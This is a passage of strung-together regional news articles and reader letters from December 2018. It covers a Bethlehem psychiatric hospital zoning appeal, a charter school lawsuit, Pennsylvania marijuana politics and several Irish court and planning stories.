district. The developer wants to build an 80-bed facility at 1838 Center St. Wednesdays meeting was the third in a series of hearings, which began in September, where the board heard testimony from Atiyeh, the city and residents who oppose the project. Atiyeh said Thursday that he plans to file an appeal in Northampton County Court. The zoning hearing board had 45 days to complete a written decision and then Atiyeh has 30 days to file an appeal once the developer receives it. The developer also has a pending appeal related to a January planning commission decision where they rejected plans for the hospital because the plans were incomplete. We have to wait for a judge to decide on our case and then well move forward, Atiyeh said. Right now, the city of Bethlehem has blocked us in denying our application. They dont want a psychiatric hospital in Bethlehem, so they are blocking us. We need an outside agency, a judge, to overrule the city. After trying to submit new plans to the city, Atiyeh reverted back to his plan for a hospital, which was approved in 2013 by the city planning commission with the caveat it could not be a treatment center. The decision also required the exact hospital use be approved by zoning, Darlene Heller, city planning director, has previously said. In the filed appeal, Atiyehs company notes it applied for the permit to comply with the conditions of the 2013 approval. The appeal argues that Borzak erred in her decision and abused her discretion when she found the proposed hospital was in fact a treatment center. Atiyeh contends that the proposed private psychiatric hospital is not a residential treatment facility and therefore allowed under the use approved by the planning commission in 2013. Atiyehs morphing plans for the property at the corner of Dewberry Avenue and Center Street have long put him at odds with neighbors, Bethlehem Catholic High School officials and the city. The developer has proposed apartments, a drug and alcohol treatment center and various iterations of a hospital. During the lengthy -- and at times heated -- January planning commission meeting, Atiyeh unsuccessfully pushed for a third project extension and asked the board to grant the project conditional approval. Atiyeh has appealed that decision as well. At the time, Atiyeh said he was moving forward with his 2013 plans and he believes a psychiatric hospital is allowed. But resubmitting his plans would give him more options and another five years to deliver on them, he said in January. In 2016, the developer inked a deal with Arcadia Healthcare -- a for-profit mental health care provider -- to build a $25 million behavioral health facility on the site. But the plans were met with opposition from neighbors and abruptly pulled ahead of a planning commission meeting. Then in May of 2017, Atiyeh submitted a proposal almost identical to his 2013 approved plans where the hospital was now called a psychiatric hospital. He filed an appeal and is waiting for a hearing on that appeal. The submission came just hours before city council took its first vote to restrict where such hospitals can be built in the city. Council later voted to change city zoning so that behavioral health facilities and psychiatric hospitals are categorized as treatment centers, meaning they would require special approvals by the zoning hearing board and only be allowed in certain areas. Sara K. Satullo may be reached at ssatullo@lehighvalleylive.com. Follow her on Twitter @sarasatulloand Facebook. Find lehighvalleylive.com on Facebook. A former principal at the Easton Arts Academy Elementary Charter School claims administrators rigged grades to make the school appear more successful, according to a lawsuit. The schools chief administrative officer, Shawn Ferrara, threw out employee evaluations written by principal Susan Bostian and rewrote them based on his own arbitrary opinions, according to the lawsuit filed Wednesday by Bostian in Northampton County Court. The schools attorney, Brian Leinhauser, said the school cant comment on pending litigation and hasnt been served with the complaint yet. The lawsuit says Bostian was appointed principal because she has principal certification in Pennsylvania, a certification lacked by Ferrara and Chief Executive Officer Joanna Hughes. They overrode her decisions and refused to heed her warnings to follow state education laws, the lawsuit says. According to the lawsuit, Ferrara and Operations Manager/Registrar Jacqueline Zupcko changed students' grades immediately before report cards were issued because they felt some grades were incorrect or not appropriate. They did so without giving teachers a chance to defend the grades, the suit says. Bostian was tasked with completing employee evaluations. The lawsuit says Ferrara threw out Bostians evaluations and rewrote them to suit his own taste even though he didnt observe and interview the employees or participate in the evaluation process. He asked Bostian to sign off on his evaluations because she had the principal certification and he didnt, the lawsuit says. The suit says safety protocols werent followed when students threw chairs and desks, that students didnt receive services required through their Individualized Education Programs and that administrators didnt report truancies to parents. The lawsuit says teachers didnt sign in at mandated training sessions so the administration had no way of keeping track of who completed the sessions. Bostian declined to cooperate with an internal school board investigation, according to Leinhauser. Dr. Bostian was offered multiple opportunities to communicate her concerns with the Board but declined to meet with or cooperate with that work, Leinhauser said. "My client will review the complaint upon service and respond in accordance with its obligations under the law. Bostian served as principal from March through June 2018. The lawsuit says she started as a consultant in October 2017 to mentor and assist the previous principal, Ken Hudlow. When Hudlow left in December 2017, Ferrara took on Hudlows duties but he could not become the principal due to his lack of certification, the lawsuit says. The lawsuit said Bostian was fired as a principal in June and returned to her part-time consultant role until she was terminated as a consultant in October 2018. Bostian said she has reported her concerns to the Pennsylvania Department of Education. Education department press secretary Eric Levis said hes not permitted to confirm whether his office is investigating a school. Bostian seeks compensatory damages, back pay and attorney fees in her lawsuit. She seeks an injunction to stop what she called unlawful practices at the school. She lives in Lower Nazareth Township, the lawsuit says. The school opened in the fall of 2017 at 30 N. Fourth St. in Easton, the former headquarters of the Express-Times. Its a publicly-funded school that runs independently of the Easton Area School District. The school has children in kindergarten through fifth grade. Rudy Miller may be reached at rmiller@lehighvalleylive.com. Follow him on Twitter @RudyMillerLV. Find Easton area news on Facebook. State Senate Majority Leader Jake Corman calls the idea of legalizing marijuana for recreational purposes reckless and irresponsible. A Centre County Republican, Corman offered his reaction shortly after Gov. Tom Wolf said its time to explore the idea of legalizing pot. The Democratic governor would have to win support in the Republican-controlled General Assembly before recreational marijuana could be legal. Cormans comments indicates there is likely substantial opposition to the idea. The governors new position on the issue of legalizing marijuana for recreational use is reckless and irresponsible, Corman said in a statement. Recreational marijuana is a mind-altering narcotic which will harm our youth as it is a depressant and a gateway drug to other illegal substances," Corman continued. "Combine that with a lack of credible research on the societal costs and opposition from prosecutors, the medical community and law enforcement and you have the makings of a catastrophe. Wolf expressed his willingness to explore legalizing marijuana while answering questions from the public on Twitter Wednesday. Noting that more states have passed laws to allow the use of marijuana, Wolf said on Twitter, I think it is time for Pennsylvania to take a serious and honest look at recreational marijuana. More and more states are successfully implementing marijuana legalization, and we need to keep learning from their efforts. Any change would take legislation. But I think it is time for Pennsylvania to take a serious and honest look at recreational marijuana. https://t.co/LHOmYKzMyp Governor Tom Wolf (@GovernorTomWolf) December 19, 2018 The move represents a shift in the governors stance on the issue. In October, Wolf told PennLives editorial board he wasnt ready to push for a change in state law on recreational marijuana. At this point Im not ready to sign or promote legislation that legalizes it," Wolf told PennLive in October. He did add that it would be prudent to learn from the example of other states. Cormans comments offer a glimpse of the opposition to the proposal. Corman also said it sends the wrong message to our youth. As long as I am leader, I will do everything in my power to prevent legalization of recreational marijuana, Corman said. In 2016, Wolf signed legislation allowing medical marijuana to help those suffering from serious medical conditions. Earlier this week, the Wolf administration issued permits for 23 new medical marijuana facilities. President Trump is willing to shut down the government if he doesnt get $5 billion to build a wall on the U.S.-Mexico border to stop illegal immigration. This is less than the cost of supporting these people once they get here. Members of the caravan are demanding entrance or payment of $50,000 apiece to return to their countries. In his State of the Union message in 1995, President Bill Clinton outlined the consequences of allowing illegal immigration and received a standing ovation. Then-Sen. Barack Obama also spoke out against illegal immigration and received accolades. President Trump says the same thing and is called a racist. Double standard? New Jersey officials are lamenting the plan to ask about citizenship in the upcoming census, saying it will cost New Jersey political power. This information should be public. How many undocumented people live here, how long have they been here, what benefits do they receive at taxpayer expense, and when must they become self-reliant? They are not entitled to what Americans have earned. Benefits are generous gifts that should have expiration dates. Yes, President Trump, many Americans know the importance of the wall in keeping us safe and are willing to shut down the government to get it. Keep fighting for America, even with the left and biased media trying so hard to undermine everything you do. Bea Mackey Harmony Township President Trump has declared victory in Syria and told the Pentagon to clear out the U.S. military presence in that country. We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency, President Trump tweeted Wednesday. About 2,000 U.S. troops are now deployed in Syria, where their chief responsibility was training local soldiers to repel ISIS. With help from Kurdish and American allies, those forces have had some success recently in pushing back the ISIS presence in eastern Syria, CNN reports. Last week Syrian activists said that fighters had captured the last town held by the Islamic State group. The U.S. expects to retain sufficient military strength in Iraq to send air strikes into Syria if needed after American troops leave. What do you think? Do you agree with the decision to get out of Syria? Have a say in our informal, unscientific poll, and feel free to elaborate in the comment section. For almost a year majority Democrats in the New Jersey Legislature and Gov. Phil Murphy have been discussing the path to legalize marijuana for recreation purposes. Many Republicans oppose it. Although Murphy said he wanted to sign a bill in his first 100 days, and legislators have held debates on social justice issues and potential tax revenue, the discussion continues. Now Pennsylvania Gov. Tom Wolf a Democrat who has to deal with Republican majorities in the state House and Senate says hes ready for a serious discussion about legalization. Both Pennsylvania and New Jersey have medical marijuana programs. In a Wednesday tweet, Wolf said its time for Pennsylvania "to take a serious and honest look at recreational marijuana, adding that more and more states have made the transition successfully. GOP reaction was swift. State Senate Majority Leader Jake Corman called legalization for recreational purposes reckless and irresponsible. In the past, legislative leaders have treated the debate as a non-starter. And in Pennsylvania, bills go nowhere unless Republican leaders allow them move out of committee and then to floor votes. The trend is toward legalization in liberal states, to end criminal penalties for simple possession and use and for the millions in tax revenue a regulated market brings in. Ten states have legalized it. On Monday New York Gov. Andrew Cuomo called upon the Legislature to pass a legalization bill. What do you think? Should the Pennsylvania Legislature open the debate and send Wolf a bill to permit the recreational use of marijuana? Have a say in our informal, unscientific poll, and feel free to join the discussion in the comment section. Metro Manila (CNN Philippines, December 20) The government troops will not give in to the communist group's demand to halt offensives against the New People's Army (NPA) in exchange for the freedom of soldiers and militiamen who have been held captives. "We will not stop. I think the soldiers and the CAFGU (Citizen Armed Force Geographical Unit) know that we are at war with these people at kung ho-hostage-in sila it's part of the job of these people," Defense Secretary Delfin Lorenzana said Thursday. He said hot pursuit operations are ongoing for the rescue of two Army soldiers and 12 CAFGU members who were taken hostage by the NPA in Agusan del Sur on Wednesday. The NPA is the armed wing of the Communist Party of the Philippines (CPP), which has waged a five-decade insurgency. READ: Soldiers, CAFGU members taken hostage by NPA in Agusan In a statement on Thursday, the CPP said it has been treating the captives "leniently," and vowed to release them if the Armed Forces of the Philippines (AFP) stops its offensives. "All prisoners-of-war who were captured after surrendering during the raid in Agusan del Sur are being treated leniently," the CPP said, adding, "They will be released soonest so long as the AFP relents its offensive in order to pave the way for their orderly and safe release and give them the opportunity to be with their families this Christmas." The CPP applauded the NPA for the "annihilation of an entire CAFGU detachment under the 3rd Special Forces Battalion and the seizure of 24 high powered firearms in Agusan del Sur." Authorities are investigating the incident. "Nahostage sila lahat e so ibig sabihin walang firefight, walang labanan, so mukhang nabigla sila or whatever (They were all taken hostage so that means there was no fight so it seems they were caught off guard). We are investigating," Lorenzana said in a press briefing. He added possible negotiations are up to the local officials, while newly appointed Presidential Adviser on the Peace Process Carlito Galvez may be on top of the situation. The CPP also claimed the ambush of a military vehicle in Catarman, Northern Samar on Wednesday, which authorities said wounded two civilians and four soldiers. The CPP said these attacks were in line with its order for the NPA to step up offensives against government forces nationwide following the extension of martial law in Mindanao. READ: CPP to NPA: Launch more attacks vs. gov't forces nationwide "The Party calls on the NPA to mount more tactical offensives in the next few weeks and months to defeat Duterte's all-out war and fascist attacks against the people's democratic rights and livelihood," it added. The CPP clarified it did not violate the unilateral ceasefire it had earlier declared for the holidays and its 50th anniversary. The truce will take effect 12:01 a.m. of December 24 to 11:59 p.m. of December 26. Another ceasefire is at 12:01 a.m. of December 31 to 11:59 p.m. of January 1, 2019. In the past, the government and the rebels accused each other of violating ceasefires, prompting President Rodrigo Duterte to terminate peace talks in November 2017. The government also seeks to tag the CPP-NPA as a terrorist group, but this bid is still pending in court. Lorenzana stands by his decision not to recommend the declaration of a ceasefire this holiday season, saying it would only give rebels a chance to launch more attacks. He said the NPA has a 5,000-strong force, most of them are in Mindanao. The police and military are now on full force for possible NPA attacks. READ: Gov't forces on red alert for CPP-NPA anniversary After the overthrew of pro-American Shah in Iran and the seizure of the U.S Embassy in 1979, the U.S. and Iran cut ties. Decades of sanctions followed. There was a brief glimmer of hope for improved relations when President Barack Obama achieved the nuclear deal with Iran, but President Donald Trump withdrew from the agreement. Today the Trump administration wants to use economic warfare and crippling sanctions to foment regime change. National Security Adviser John Bolton recently said, the U.S. is prepared to use sanctions to drive Iranian oil exports down to zero and the declared policy of the U.S. should be the overthrow of the Mullahs regime in Tehran. However, growing public opposition to U.S. support for Saudi Arabia after the murder of Washington Post journalist Jamal Khashoggi has led many people to question whether Iran is truly the number one state sponsor of terrorism, and whether the U.S. protecting the doomed regime in Saudi Arabia from falling. War with Iran is not an option. To avoid a war with Iran, Trump could engage in direct talks with President Hassan Rouhani and work out a better deal that builds upon the original nuclear deal. But this requires Trump to rejoin the nuclear agreement and reject calls by Saudi Arabias Mohammed bin Salman or Israels Benjamin Netanyahu to seek conflict with Iran. The American people can weigh -in powerfully with phone calls, emails, letters and constituent visits to their senators and representatives, and to the White House, to voice their strong opposition to another war. Mohammed Khaku Upper Macungie Township A man who has been in jail for most of his adult life, most of which was for dealing drugs from Portlaoise Prison, has asked forgiveness from the mother of the man he killed in 2001. Brian Rattigan, who was accompanied in court by four prison officers wearing stab vests, also called on God to protect her son, ahead of being sentenced for his manslaughter next month. A prosecutor earlier told a court that the DPP had accepted a plea to manslaughter from Rattigan ho was previously convicted of murdering the 21-year-old, as the cases frailties were likely to render the success of another murder trial questionable. Pauline Walley SC was addressing the Central Criminal Court on Thursday during his sentence hearing for killing his former friend, Declan Gavin. Rattigan was back before the court for his sentence hearing. Dressed in a light blue jacket, navy trousers and a navy tie, he wore a beard and glasses, with his hair gelled back. The court heard of his criminal record but also about his achievements in prison including acting in Cinderella. He had also obtained a diploma and certificates. The court heard that Mr Gavin was stabbed to death outside an Abrakebabra on Crumlin Road in Dublin in the early hours of 25th August 2001. He received two knife wounds, one to the hand but a fatal one to the heart. Rattigan went on trial for his murder twice in 2009. The first jury couldnt reach a verdict but a second jury convicted him. However, that conviction was successfully appealed last year. The former gangland figure was due to go on trial for the crime again next month, but the State accepted his plea to manslaughter when he entered it on arraignment in October. Ms Walley reminded Mr Justice Michael White that the accused had pleaded not guilty to murder but guilty to manslaughter. The prosecution indicated that, given the exceptional features now associated with this case, the director would accept this plea to manslaughter because of those features, she said. Chief Superintendent Brian Sutton agreed with Ms Walley that the case had a complex litigation history. Various judicial reviews had been taken from 2005 to 2008 before the two trials got underway in 2009. Hed made an unsuccessful appeal to the Court of Criminal Appeal in 2013 before his successful appeal to the Supreme Court in 2017. Chief Supt Sutton spent much of the afternoon summarising the facts of the case. These included a man in a balaclava being witnessed stabbing Mr Gavin, who retreated into the safety of Abrakebabra. The evidence against Rattigan included his prints being found next to Mr Gavins blood on the restaurants door, through which he had tried to chase his victim. Chief Supt Sutton said that over 300 witness statements were taken as part of the investigation. However, it was a difficult investigation, he said. Over 22 people were arrested for withholding information, he explained. Rattigan had denied involvement, insisting that he hadnt been to the scene in months. I wont admit. Yous prove it. That's your job, he had said. He was eventually charged in 2003, but this was struck out of the District Court later that year for failure to serve the book of evidence. It was a complex investigation and took a while to get the book of evidence together, explained Chief Supt Sutton, adding that there was a large number of very reluctant witnesses. He was re-charged in 2005 but took judicial review proceedings seeking an order of prohibition. Rattigan argued that there had been both an unacceptable delay and prejudicial pre-trial publicity, which would prevent a fair trial. He lost his case the following year but appealed to the Supreme Court. The Supreme Court agreed that there was a delay but found that the forensic evidence of blood and prints were extraordinary, exceptional and unexplained, and cried out to be examined. The court also took the view that there would be a media fade factor by the time his case came to court and that this would allow him a fair trial. It ruled in 2008 that the trial could proceed. Chief Supt Sutton said that a feature of both trials was that some key witnesses professed to no-longer remember what theyd stated to gardai. Some did not make themselves available and had to be arrested. Others left the jurisdiction. Some were charged with contempt and their statements had to be read to the court, using special legal provisions. One of these statements was described as a key piece of evidence and was made by a friend of both men, David Byrne. He was subsequently murdered in the Regency shooting, said the officer. Niall Hannigan, another key witness in both trials, is also deceased. Such witnesses had described Mr Gavin being in good form before the attack. He had been going to leave in a taxi with some girls, but the car was full. Professor John Harbison, who had carried out the autopsy, was unavailable for the trials due to medical reasons. That was overcome at the time but was likely to have been a greater problem if the trial had proceeded in 2019. Despite the difficulties, a jury found him guilty in 2009. He was the last person to be convicted of murder in the Four Courts. However, he appealed this conviction and the Supreme Court eventually quashed it. A retrial was ordered earlier this year. It would have begun next month and lasted six weeks, but Rattigan decided to offer a plea to manslaughter. Chief Supt Sutton agreed that all the frailties mentioned and the passage of time was likely to render the success of the trial questionable. The DPP, therefore, decided to accept the plea. He agreed that, although this was painful for the Gavin family, it was bringing them closure. Rattigan had already served a sentence for two counts of assault causing harm before killing Mr Gavin, and Chief Supt Sutton outlined the other convictions that have kept him behind bars since 2002. These included a firearms offence, assault, violent disorder and possession of drugs for sale or supply. His biggest sentence, of 17 years imprisonment, was imposed for drug dealing while in jail. With remission, hes due for release next November. He agreed with Brendan Grehan SC, defending, that Rattigan had recently written a letter of apology to Mr Gavins widowed mother. However, Pauline Gavin had declined to read the letter when she received it last week, feeling that it was a little bit late. Mr Justice Michael White asked the witness if Rattigan had ever been in custody only in relation to Mr Gavins death. He replied that he had not. Mr Gavins sister, Tara Gavin, then delivered a victim impact statement in which she said that the loss and sadness had not disappeared over the past 17 years. Declan was my little brother and, even after all these years, I cant begin to describe how close we were, she said. He made me laugh. She said that his amazing sense of humour was what she had missed most of all. She said that happiness had been taken from their home and replaced with a sense of darkness. My world turned upside down, she said. She explained that she had gone from someone concentrating on finishing college and looking forward to travelling to someone, who couldnt comprehend what she was going to do next. She said that watching the effect it was having on her mother was soul destroying. She said that the manner in which her brother had died and the events that followed were things she couldnt bare to think about. It was an extremely hard time to live through, she said. We acknowledge the short letter of apology, she continued. After so many years of listening to: I didnt kill Declan, it seems the timing of this apology is a little too convenient. She said that the family had waited nearly 18 years to hear what theyd known after 24 hours: that Brian Rattigan was responsible for her brothers death. She finished by thanking her mother for doing everything possible to encourage her to live her life. Mr Grehan later read out his clients letter to Mrs Gavin. Im very sorry for taking your sons life, he wrote. Ive regretted that night in silence ever since. As I get older, it doesnt get any easier. He said that he hoped she could find peace and closure now. May Declan rest in peace and may God protect him, he concluded. Mr Grehan asked the judge to take this and a number of testimonials into account. He also outlined his achievements while in prison, which included playing the lead or a supporting part in a production of Cinderella. He had also obtained a diploma and certificates in various subjects. Justice White said the court would pronounce sentence on 24th January. Thank you, your honour, said Rattigan before being led away. A Clonaslee man who went on a rampage after an impromptu drinking session and assaulted five people, scalding three members of an Italian family with hot curry sauce including a woman who received facial injuries, has been given a suspended prison sentence. Michael Madden (28), The Green, Clonaslee, first appeared before Portlaoise Circuit Court in January, charged with four counts of assault causing harm, assault, and criminal damage. Garda Michael Greaney gave evidence, with State barrister, Mr Will Fennelly, that on May 23, 2016, there was an incident at Hillview estate in Clonaslee, where Madden assaulted a number of people after an impromptu drinking session. He was very drunk and very aggressive towards to man of Italian extraction, whose family operated a fast food outlet in Clonaslee. This man left the scene, but Madden went on to assault another man and a woman. The woman got into a verbal row with the accused and the man came to her help, whereupon the accused punched him twice to the face, fracturing his nose and bursting his lip. Madden then went to the fast food outlet looking for the Italian man with whom hed had the earlier altercation. A verbal altercation began between the accused and members of the Italian family, before Madden flipped a pot of curry over three injured parties. The Italian mans mother received injuries to her face and arms when the very hot liquid was splashed on her, while the Italian man and his father were splashed on their arms. Garda Greaney said that the woman received the worst injuries and photos handed into the court showed her with blistering and scald marks on her face. The two males got scalded on their arms. Garda Greaney said the womans injuries are okay now, but she is still very nervous dealing with customers. There was also damage caused to the premises when a glass counter was smashed, costing 500 to repair. The case was adjourned by the circuit court om a number of occasions, with the accused paying 3,000 compensation in January and another 1,000 in April. When the case returned to court this December, barrister Mr Colm Hennessy said there was a further 4,000 compensation and the accused had completed anger management. There was also a probation report on the accused. Judge Johnson said the accused was turning his life around and was engaging positively with anger management. The judge imposed two years, suspended for five years on condition the accused enter into a peace bond for five years; he attend with probation services for 18 months; he remain drug and alcohol freed; he avail of all support services offered to him, including the psychiatric service; he make earnest efforts to get employment; and he pay 4,000 compensation. A new pedestrian crossing is set to be installed at a busy roundabout on the N80 in Portlaoise in the new year. The new pedestrian crossing will be installed on the Abbeyleix Road side of Market Square Roundabout in Portlaoise. Cllr Willie Aird tabled a notice of motion at the December Portlaoise Municipal District meeting asking for work to start on the crossing. He said elderly people, in particular, will benefit from the crossing as they currently have to walk to the other end of the road to cross over. We are a long, long time beating the drum on this one. People have to walk all the way up to Statoil to get across the road. One of our oldest ladies in Portlaoise passes maybe twice a day on this particular stretch and it will stop the people having to walk the whole way up to Statoil to get across the road, he said. A senior engineer at Laois County Council said funding is expected from Transport Infrastructure Ireland for the pedestrian crossing in early 2019. The work is expected to be completed by the end of March 2019. Cllr Catherine Fitzgerald welcomed this update. I am looking forward to it, its a good response, she said. Kildare Shotblasting and Priming Ltd has achieved certification to world class business standards at a special ceremony in Dublin. Read also: Historic night in Athy with the establishment of the local Athy Comhaltas group The steel company specialises in fully automated systems of shotblasting and priming of steel. It was one of 21 organisations from the private, public and SME sectors gathered at NSAI (National Standards Authority of Ireland) offices in Dublin for a special ceremony marking their achievement in becoming certified to world class business standards. All of the businesses and bodies that achieved certification were independently audited by NSAI inspectors in order to ensure they complied with the international standards. Speaking at the ceremony, Company MD Peter Boland said The NSAI certification means, we at Kildare Shotblasting & Priming Ltd, a relatively new company, can show our customers, that we are committed to providing the highest standard of service in our industry. They join an elite group of over 3,000 organisations who are currently NSAI-certified in a variety of areas such as Quality Management Systems, Environmental Management Systems, Occupational Health and Safety Management Systems and Energy Management. Speaking at the ceremony, NSAI Chief Executive Geraldine Larkin said achieving certification to world class business standards will give these organisations an advantage both at home and abroad. Many of the companies gathered here today are being certified to two, three or in some cases, to four standards and I am delighted to see this type of commitment. You can see the real difference standards have made to your business and you have reaped rewards from these benefits. Not only have you gained competitive advantage improving efficiency, reducing costs and minimising waste your industries will continue to benefit because of your investment, said Ms Larkin. At a time of increased globalization, Brexit negotiations and more and more international trade deals, it is essential for Irish industry to be as competitive as it can be. It is encouraging to see so many companies here today that are committed to working towards best practice. You are demonstrating that Ireland is one of the best places in the world to do business and that Irish and Irish based companies can compete at the highest level, she added. A group of residents in North West Kildare have expressed their anger over a new planning application for 12 industrial wind turbines by North Kildare Wind Farm Ltd. Read also: Plans lodged for scaled back Kildare wind farm in north west of county The 12 turbines, if approved, will be located on both Coillte and private lands in the areas of Ballynamullagh, Coolree, Drehid, Dunfierth, Killyon, Kilmurry and Mulgeeth. The previous wind developer, Element Power Ltd which was involved in the proposed 46 turbine Maighne wind farm which spanned North West Kildare and South Meath, has sold it's company to Statkraft, a Norwegian company. This new application singles out the Drehid Cluster of the original Maighne project, which was refused twice by An Bord Pleanala. Element Power had originally proposed 14 turbines for Drehid, but has reduced that by two in the planning application. A new group, Drehid Against Wind Turbines formed when the the plans were first mooted and it said it will be helping people with their objections against this "outrageous proposal". "The outdated 2006 Wind Energy Guidelines were published when wind turbines were 50 metres in height. New Wind Energy Guidelines have been promised by Fine Gael since 2014 and still have not been published in spite of 7,500 submissions. There is still no protection for communities from these loud roaring industrial monsters. Kildare constituents have been badly let down by this Government," he said. "Nothing has changed in the feelings of the residents of Kildare since the 'Maighne Wind Farm' refusal and vow to fight this new application." Drehid Against Wind Turbines will host a public meeting to discuss the situation in The Hamlet Court Hotel in Johnstownbridge on Tuesday, January 8 at 8pm. "The public are urged to attend to protect Kildare," added the spokesperson. The sale of Element Power took place in October with the majority of the staff transferring over to Statkraft. The directors of North Kildare Wind Farm Limited are Kevin O'Donovan, Cork; Ola Idland who hails from Eiksmarka near Oslo; and Halcon Skjerstad, who also has an address in Oslo. It's understood Statkraft has taken over all Element Power's UK and Irish projects except for the Greenlink Interconnector. The transaction was completed on October 2 and is an acquisition of 100 per cent of the shares in Element Power's Irish and UK subsidiaries from Element Power's principal owner Hudson Clean Energy Partners AIV LP. Element Power has previously said that thousands of people live beside wind turbines all over the world without any problems. It said it was embarking on public consultation with the homes in the Carbury/Drehid area about the plans prior to submitting them for planning. CONCRETE details are now needed regarding plans to build Europes first 21st century university town on the Clare-side of the University of Limerick campus. With work expected to start in 2021, the 2 billion project has the potential to create 3,500 jobs in County Clare, according to Clare County Council (CCC). The proposed development will be highly significant for Limerick city, complementing the Limerick 2030 plan, according to the latest documents on the project, however, no further details on this statement are currently available. An Taisce is very, very keen to find, just as everyone else is, the details of this plan, An Taisce Limerick chairperson Dr John Logan said. Too often citizens and citizens groups are operating in an information deficit. Wed like to see maps, wed like to see projections and so on. Clare County Council is seeking government approval to designate the UL campus in County Clare and its hinterland as the South Clare Economic Strategic Development Zone (SDZ) - which it claims will be will be Europes first 21st Century University Town. SDZs are hugely significant, Dr Logan added. Probably the best known designation was the Adamstown development which goes right back to the Celtic Tiger days and obviously ran into difficulty with the Celtic Tiger. Adamstown, just south of Lucan, was billed as a whole new town to house 20,000 people at the time of its construction, Dr Logan said. However, by 2016 just 1,100 homes were completed. I think we should look very carefully at what happened there. An Taisce Limerick works closely with An Taisce Clare and will be monitoring the project together, he added. An Taisce isnt opposed to development and it isnt necessarily opposed to this particular development but we need to know what it entails, said Dr Logan. The proposal is an opportunity for Limerick and Clare to create a strong urban counterbalance to Dublin, according to Limerick city TD Jan OSullivan. I do believe, however, that there needs to be widespread consultation and cohesive planning, the former Education Minister added. Mayor of Limerick city and county Cllr James Collins said: As Mayor of Limerick, director of 2030 and a member of the UL governing authority, the focus of all those three organisations is to have a meaningful UL presence or campus in the city centre. Im confident that they will come into the city centre and that UL are serious about a city centre campus. THE Castletroy Local Area Plan was adopted by members of the Metropolitan District despite opposition from several councillors. The wide-ranging plan, which runs to hundreds of pages, envisages the population of Castletroy increasing from 14,700 to almost 27,000 by 2040. Tens of thousands of people, who either live or work in Castletroy or who attend the University of Limerick, will be affected by the plan which will feed into the County Development plan and the National Planning Framework which was adopted by government earlier this year. There are detailed proposals relating to transport, industry and retail within the Castletroy and Annacotty area which encompasses 11.2 square kilometres. Following a public consultation process, a number of amendments were proposed by planners and the final plan was before Mondays meeting of the Metropolitan District. Cllr Seighin OCeallaigh, who was one of three members to vote against the plan said it was Celtic Tiger stuff which will ensure the housing crisis continues. While supporting the Local Area Plan, Cllr Marian Hurley said there are continuing concerns in relation to the lack of infrastructure in the Castletroy and Annacotty areas given the daily volumes of traffic. A number of councillors welcomed the plan saying it will allow for the development of the so-called Parkway Valley site as well as the proposed Educate Together secondary school at Groody Link Road. Cllr Joe Leddin said the plan is hugely important in the context of giving certainty in relation to the development of the area while Cllr John Gilligan noted there was absolutely no guarantee that zoned lands would be developed during the lifetime of the plan. During the discussion, senior planner Maria Woods confirmed the Northern Distributor Road was not considered in the plan as it does not pass through the Castletroy area. She added the Local Area Plan will be reviewed in two years in the context of the new County Development Plan. Following a lengthy discussion, a vote was called with 14 members voting in favour of the plan and three voting against it. Those who voted against were Cllr Seighin OCeallaigh, Cllr John Costelloe and Cllr Malachy McCreesh. THE 450 workers at Aughinish Alumina, and the hundreds of other downstream workers who rely on the plant, are breathing a sigh of relief following the announcement that the US sanctions against the companys owner, Rusal, are to be lifted. This is due to come into force after a 30-day review period by Congress, but this is not expected to be an obstacle. The announcement has been widely welcomed in Limerick, with Minister of State Patrick O'Donovan saying it was a massive boost for Limerick. Aughinish is a key part of the global supply of aluminium so the decision taken in Washington will provide certainty. It is important for all of us to bear in mind that the decision is still subject to a thirty day review period by the US Congress, he said. Over the last number of months as the local TD and Minister I've been working on a weekly basis with the management at Aughinish ensuring that every possible resource in Government was channelled to make sure Aughinish secured the best outcome. I can say that every piece of our Government has worked to deliver this result. I know from my ongoing dealings in government that the leadership shown by our Taoiseach and Ministers and the tireless work by our officials across several departments with our diplomats in Washington has been magnificent. The close cooperation between the company's local management, our Government and the US Authorities have got us where we are now and as the local TD and Government Minister I can say no stone has been left unturned on this journey. I hope after the next thirty days that the company moves forward with renewed ambition in Limerick, he added. It is great news, said Fine Gael TD Tom Neville, adding that it was particularly welcome in the run-up to Christmas. As a TD for the area, I have worked very hard behind the scenes to try to make sure that every avenue the government could cover on this was covered. This is very welcome news and will come as a huge relief to the workers, contractors and suppliers associated with Rusal Aughinish, Fianna Fails Niall Collins said. So many local jobs were at risk here and the potential fall out would have been catastrophic. Making the announcement on Wednesday evening, the Tanaiste and Minister for Foreign Affairs and Trade, Simon Coveney said: While we need to await the conclusion of the Congressional review period, todays announcement should mean that Aughinish will soon no longer be impacted by the sanctions. Last April, the US Treasurys Office of Foreign Assets Control imposed sanctions on a number of Russian oligarchs, citing malign activities by Russia. Among them was Oleg Deripaska, a majority shareholder in the EN+Group which owns 48 per cent of Rusal, the company which owns Aughinish. Since then, the authorities deferred action several times to allow the EN+ Group to come up with a solution to address Mr Deripaskas interest. Meanwhile, Ireland launched a diplomatic offensive on the issue, stressing the unintended consequences of the sanctions on workers in Limerick. The Taoiseach, Tanaiste, various ministers including Minister of State Patrick ODonovan and members of the Irish embassy in Washington, all engaged in intensive talks with US officials and members of Congress. As a result of this diplomatic mission, a number of short-term reprieves were granted by the US Treasury because as Treasury secretary Steve Mnuchin asserted, the target of the sanctions was Mr Deripaska and not the companies he owned. The US government is not targeting the hardworking people who depend on Rusal and its subsidiaries, he said. Earlier this month, Finance Minister Paschal Donohue travelled to the US to meet Mr Mnuchin and this Wednesday came the pay-back for the months-long diplomatic offensive. As Minister Coveney put it this Wednesday: Todays announcement is therefore a very welcome return on the intensive efforts made to protect Aughinish Alumina and the many jobs that are sustained and supported by the firm. A LIMERICK man given life for murdering a father-of-two by slitting his throat in his living room for no known reason has had his conviction upheld on appeal. Gerard Manning, 38, of Upper Gerald Griffin Street in the city but originally from Belturbet in Cavan, had pleaded not guilty to murdering Martin Purcell between September 28 and 30, 2011. He denied knowing Mr Purcell or ever having been in the 54-year-olds home. However, his fingerprints were found in his victims blood at the murder scene, Mr Purcells apartment on Wickham Street in Limerick city. The Central Criminal Court trial heard that Mr Purcells landlord found him dead in his home after it had been noticed that he hadnt collected his post. He had 41 wounds, which fractured numerous bones and injured his heart, lungs and several other organs. The cut-throat injury to his throat severed his jugular vein, and post-mortem findings showed that he received this wound first, from behind, while sitting in a chair. Mannings left thumb print was found in Mr Purcells blood, both on that chair and on the hot tap in the kitchen. Two of his fingerprints were also found on a CD case under a coffee table at the scene. A stereo belonging to the deceased was later found in Mannings flat, while keys to Mr Purcells home were found in waste ground next to where the defendant lived. A jury of seven men and five women found Manning guilty by a majority verdict of 11 to one 